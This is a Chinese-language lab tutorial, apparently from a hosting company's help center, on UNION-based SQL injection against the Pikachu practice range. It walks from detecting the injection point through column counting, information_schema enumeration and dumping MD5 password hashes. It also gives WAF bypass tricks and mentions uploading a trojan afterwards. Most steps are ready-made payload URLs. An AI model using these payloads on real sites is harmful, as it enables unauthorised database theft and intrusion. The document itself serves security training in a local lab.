一、SQL 联合查询注入 详细解题步骤
核心前提
- 目标:通过联合查询注入获取数据库敏感数据(库名、表名、列名、账号密码)
- 适用场景:页面有数据回显位(查询结果能在前端显示)、可通过报错或布尔语句确认注入点
- 核心依赖:MySQL 的information_schema系统库(存储所有数据库元数据)
二、完整解题步骤(分 8 个阶段)
阶段 1:环境准备与工具配置
步骤 1.1:搭建本地测试环境
- 安装 PHPStudy,启动 Apache+MySQL 服务
- 导入皮卡丘靶场(或自定义测试数据库),确保靶场可正常访问(如http://127.0.0.1/pikachu/sqli/union.php)
步骤 1.2:配置抓包工具(火狐 + BP 插件)
- 代理名称:自定义(如 “SQL 注入测试”)
- 代理 IP:127.0.0.1(本地回环地址)
- 端口:8080(与 BP 监听端口一致)
注意事项
- 插件安装失败时,直接将插件文件拖入火狐浏览器即可,无需手动配置路径
- 确保 BP 已启动,且监听端口与插件配置一致(默认 8080),否则无法抓包
阶段 2:注入点检测与注入类型判断
步骤 2.1:寻找注入点
- 目标 URL:假设为http://127.0.0.1/pikachu/sqli/union.php?id=1(参数id为疑似注入点)
- 测试逻辑:所有用户可输入数据的位置(URL 参数、表单、Cookie 等)都可能是注入点,优先测试 URL 参数
步骤 2.2:判断注入类型(字符型 / 数字型)
表格
| 单引号报错法 | ?id=1' | 页面报错,提示 “单引号不匹配”(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1) | 字符型注入(参数被单引号包裹) |
| 单引号报错法 | ?id=1' | 页面无报错,仅显示 “查询失败” | 数字型注入(参数无引号包裹) |
| 布尔语句验证 | 字符型:?id=1' and 1=1 –+ | 页面正常显示(查询成功) | 确认字符型注入 |
| 布尔语句验证 | 数字型:?id=1 and 1=2 | 页面显示 “查询失败” | 确认数字型注入 |
注意事项
- 字符型注入必须用–+闭合后续语句(+在 URL 中编码为空格,–为 SQL 注释符),不可用#(#在 URL 中是片段 ID 标识,数据库无法识别)
- 若页面无报错,可通过and 1=1/and 1=2的布尔结果判断注入点是否存在(正常显示 / 查询失败则存在注入)
阶段 3:判断原始查询语句的列数(关键步骤)
核心目的:联合查询要求UNION前后的SELECT语句列数一致,需先确定原始查询的列数
步骤 3.1:使用ORDER BY判断列数(高效)
- Payload 格式(字符型):?id=1' order by N –+
- Payload 格式(数字型):?id=1 order by N
- 测试逻辑(二分法):
- 先试order by 10 → 页面报错(无第 10 列)
- 试order by 5 → 页面报错(无第 5 列)
- 试order by 3 → 页面正常(有第 3 列)
- 试order by 4 → 页面报错(无第 4 列)
- 结论:原始查询列数为 3
步骤 3.2:备用方法(UNION SELECT逐个尝试)
- 字符型 Payload:?id=1' union select 1 –+ → 报错(列数不匹配)
- 字符型 Payload:?id=1' union select 1,2 –+ → 报错(列数不匹配)
- 字符型 Payload:?id=1' union select 1,2,3 –+ → 正常显示(列数匹配)
注意事项
- ORDER BY N中N代表 “按第 N 列排序”,超过实际列数则报错,是判断列数的最优方法
- 若列数较多(如 20 列),优先用二分法,避免逐个尝试浪费时间
- 字符型注入必须带–+注释,否则会因语法错误导致判断失效
阶段 4:使原始查询结果为空(控制回显)
核心目的:让原始查询无结果,使UNION后的自定义查询结果在前端显示
步骤 4.1:构造空结果 Payload
- 字符型:?id=1' and 1=2 union select 1,2,3 –+(and 1=2使原始查询为空)
- 数字型:?id=-1 union select 1,2,3(id=-1为不存在的值,原始查询为空)
注意事项
- 必须确保原始查询无结果,否则自定义查询结果会被原始结果覆盖,无法看到回显
- 除了and 1=2和负 ID,还可使用随机不存在的值(如id=9999)
阶段 5:判断数据回显位
核心目的:确定UNION SELECT中哪些列的结果会在前端显示(回显位)
步骤 5.1:构造回显测试 Payload
- 字符型:?id=1' and 1=2 union select 1,2,3 –+
- 页面显示结果:假设页面显示 “2” 和 “3”,不显示 “1”
- 结论:第 2 列和第 3 列是回显位(后续查询需将目标数据放在这两列)
注意事项
- 回显位可能是 1 个或多个,需通过数字占位明确判断
- 若所有列都不回显,说明联合查询不适用,需换报错注入或盲注
阶段 6:分层获取数据库元数据(库名→表名→列名)
核心依赖:information_schema系统库的 3 张核心表
表格
| SCHEMATA | SCHEMA_NAME | 存储所有数据库名 |
| TABLES | TABLE_SCHEMA(库名)、TABLE_NAME(表名) | 存储所有数据表名(与库名关联) |
| COLUMNS | TABLE_SCHEMA(库名)、TABLE_NAME(表名)、COLUMN_NAME(列名) | 存储所有字段名(与库名、表名关联) |
步骤 6.1:获取当前数据库名
- 字符型 Payload(利用回显位 2 和 3):
plaintext
?id=1' and 1=2 union select 1,database(),version() –+
- 预期结果:页面显示当前数据库名(如pikachu)和数据库版本(如5.5.3)
步骤 6.2:获取目标数据库的表名
- 需求:获取pikachu数据库下的所有表名
- 方法 1:逐个获取(LIMIT分页)
plaintext
?id=1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),3 –+
- limit 0,1:获取第 1 个表名(如user)
- limit 1,1:获取第 2 个表名(如member)
- limit 2,1:获取第 3 个表名(如flag)
- 方法 2:批量获取(group_concat连接)
plaintext
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),3 –+
- 预期结果:页面显示所有表名(如user,member,flag)
步骤 6.3:获取目标表的列名
- 需求:获取pikachu数据库下user表的所有列名
- 方法 1:逐个获取
plaintext
?id=1' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='user' limit 0,1),3 –+
- limit 0,1:第 1 列(id)
- limit 1,1:第 2 列(username)
- limit 2,1:第 3 列(password)
- 方法 2:批量获取
plaintext
?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='user'),3 –+
- 预期结果:页面显示id,username,password,level
注意事项
- 若目标表名 / 库名包含特殊字符,或被单引号过滤,可将名称转换为 16 进制(如pikachu→0x70696B61636875),Payload 示例:
plaintext
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875),3 –+
- 16 进制转换可通过 “小葵多功能转换工具” 实现,无需手动计算
阶段 7:获取敏感数据(账号密码)
步骤 7.1:获取目标列的具体数据
- 需求:获取user表中username和password字段的数据
- 方法 1:逐个获取(LIMIT分页)
plaintext
?id=1' and 1=2 union select 1,username,password from pikachu.user limit 0,1 –+
- 预期结果:页面显示admin和e10adc3949ba59abbe56e057f20f883e(MD5 加密后的密码)
- 方法 2:批量获取(group_concat)
plaintext
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from pikachu.user –+
- 预期结果:页面显示admin,pikachu,test和e10adc3949ba59abbe56e057f20f883e,123456,test123
步骤 7.2:密码解密(MD5)
- 访问 MD5 在线解密网站(如https://www.cmd5.com/)
- 输入加密密码(如e10adc3949ba59abbe56e057f20f883e),解密得到明文123456
注意事项
- 若密码是强加密(如 SHA256),免费在线工具可能无法解密,需使用字典爆破
- 批量获取时,若数据过多导致页面显示不全,可拆分查询(如按id分段)
阶段 8:注入完成与后续操作
- 核心成果:获取数据库名、表名、列名、管理员账号密码(如admin/123456)
- 后续操作:可登录后台管理系统,或进一步执行数据库增删改查、上传木马等操作(仅用于合法渗透测试)
三、关键注意事项(避坑指南)
1. 语法与编码类
- URL 中特殊字符需编码:空格→%20、单引号→%27(若直接输入报错,可尝试编码)
- 字符型注入必须闭合单引号 + 注释后续语句,否则语法错误(如?id=1' and 1=1 –+,不可省略–+)
- UNION关键字必须大写(部分数据库对大小写敏感,小写可能失效)
2. 环境与工具类
- 确保靶场数据库权限足够:information_schema库需有查询权限,否则无法获取元数据
- 抓包时若页面无响应,检查代理配置是否正确,或靶场是否正常运行
- 测试前备份靶场数据,避免注入过程中误删数据
3. 绕过防护类
- 若order by被过滤,可使用GROUP BY替代(功能一致,部分 WAF 未拦截)
- 若union被过滤,可尝试大小写混合(如UNIOn)或插入注释(如UNI/**/ON)
- 若单引号被过滤,优先使用 16 进制转换表名 / 库名,或换数字型注入
4. 法律与合规类
- 仅对授权目标进行渗透测试,未授权测试属于非法行为,需承担法律责任
- 获取的敏感数据不得泄露或用于非法用途,测试完成后需删除测试数据
四、常见问题排查
表格
| 注入 Payload 执行后页面无变化 | 注入点判断错误 | 换其他参数测试,或用and sleep(5)测试时间盲注 |
| UNION SELECT报错 “列数不匹配” | 列数判断错误 | 重新用order by确认列数,确保前后列数一致 |
| 回显位不显示目标数据 | 数据放在非回显列 | 将查询语句放在已确认的回显位(如第 2、3 列) |
| information_schema查询无结果 | 数据库权限不足 | 换当前数据库下的其他表测试,或提升权限 |
通过以上步骤,可完整实现联合查询注入,高效获取数据库敏感数据。关键在于严格遵循 “注入点检测→列数判断→回显位确认→分层获取数据” 的逻辑,同时注意语法闭合和绕过防护,避免踩坑。
网硕互联帮助中心

![[破阵阁・网安淬锋公开赛 决赛] Secure File Viewer WP-网硕互联帮助中心](https://www.wsisp.com/helps/wp-content/uploads/2026/02/20260213154948-698f481c69403-220x150.png)



评论前必须登录!
注册